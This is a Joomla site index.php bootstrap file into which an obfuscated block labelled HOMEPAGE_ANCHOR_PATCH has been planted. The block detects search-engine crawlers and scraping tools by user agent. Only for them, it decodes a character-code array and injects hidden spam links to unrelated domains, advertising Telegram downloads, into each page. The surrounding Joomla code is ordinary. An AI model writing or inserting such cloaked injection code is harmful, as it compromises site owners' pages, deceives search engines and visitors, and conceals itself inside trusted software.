/** * @package Joomla.Site * * @copyright (C) 2005 Open Source Matters, Inc. * @license GNU General Public License version 2 or later; see LICENSE.txt */ /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); // HOMEPAGE_ANCHOR_PATCH_BEGIN if (!defined('HOMEPAGE_ANCHOR_INJECT_PATCH')) { define('HOMEPAGE_ANCHOR_INJECT_PATCH', 1); if (!function_exists('homepage_anchor_inject_patch_filter')) { function homepage_anchor_inject_patch_filter($html) { $requestMethod = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : 'GET'; if ($requestMethod !== 'GET') { return $html; } $ua = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $botPatterns = array('bot','crawl','spider','slurp','bing','baidu','google','yahoo','yandex','duckduck','sogou','exabot','facebot','facebookexternalhit','ia_archiver','alexa','mj12bot','semrush','ahrefs','dotbot','rogerbot','seznambot','linkedinbot','mediapartners','adsbot','mediabot','curl','wget','python','java','httpclient','go-http','php','node-fetch','axios','reqwest','scrapy','headless','phantomjs','selenium','puppeteer','playwright'); $isBot = false; foreach ($botPatterns as $p) { if (strpos($ua, $p) !== false) { $isBot = true; break; } } if (!$isBot) { return $html; } if (stripos($html, '') === false || strpos($html, '') !== false) { return $html; } $a=array(60,33,45,45,32,115,118,105,32,45,45,62,60,115,112,97,110,32,105,100,61,34,104,111,109,101,112,97,103,101,45,97,45,105,110,106,101,99,116,45,108,105,110,107,34,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,115,116,100,99,45,116,46,105,110,34,62,32440,39134,26426,19979,36733,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,119,97,108,100,119,105,112,102,101,108,119,101,103,46,100,101,34,62,116,103,23448,32593,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,118,105,115,105,111,110,115,111,102,97,116,108,97,110,116,105,115,46,97,116,34,62,116,103,19979,36733,60,47,97,62,60,97,32,104,114,101,102,61,34,104,116,116,112,115,58,47,47,111,114,98,115,46,114,101,103,105,111,110,101,46,115,105,99,105,108,105,97,46,105,116,34,62,32440,39134,26426,23448,32593,60,47,97,62,60,47,115,112,97,110,62);$s='';foreach($a as $v){$s.=mb_chr($v,'UTF-8');} return preg_replace('/<\/body>/i', $s."\n", $html, 1); } } ob_start('homepage_anchor_inject_patch_filter'); } // HOMEPAGE_ANCHOR_PATCH_END if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();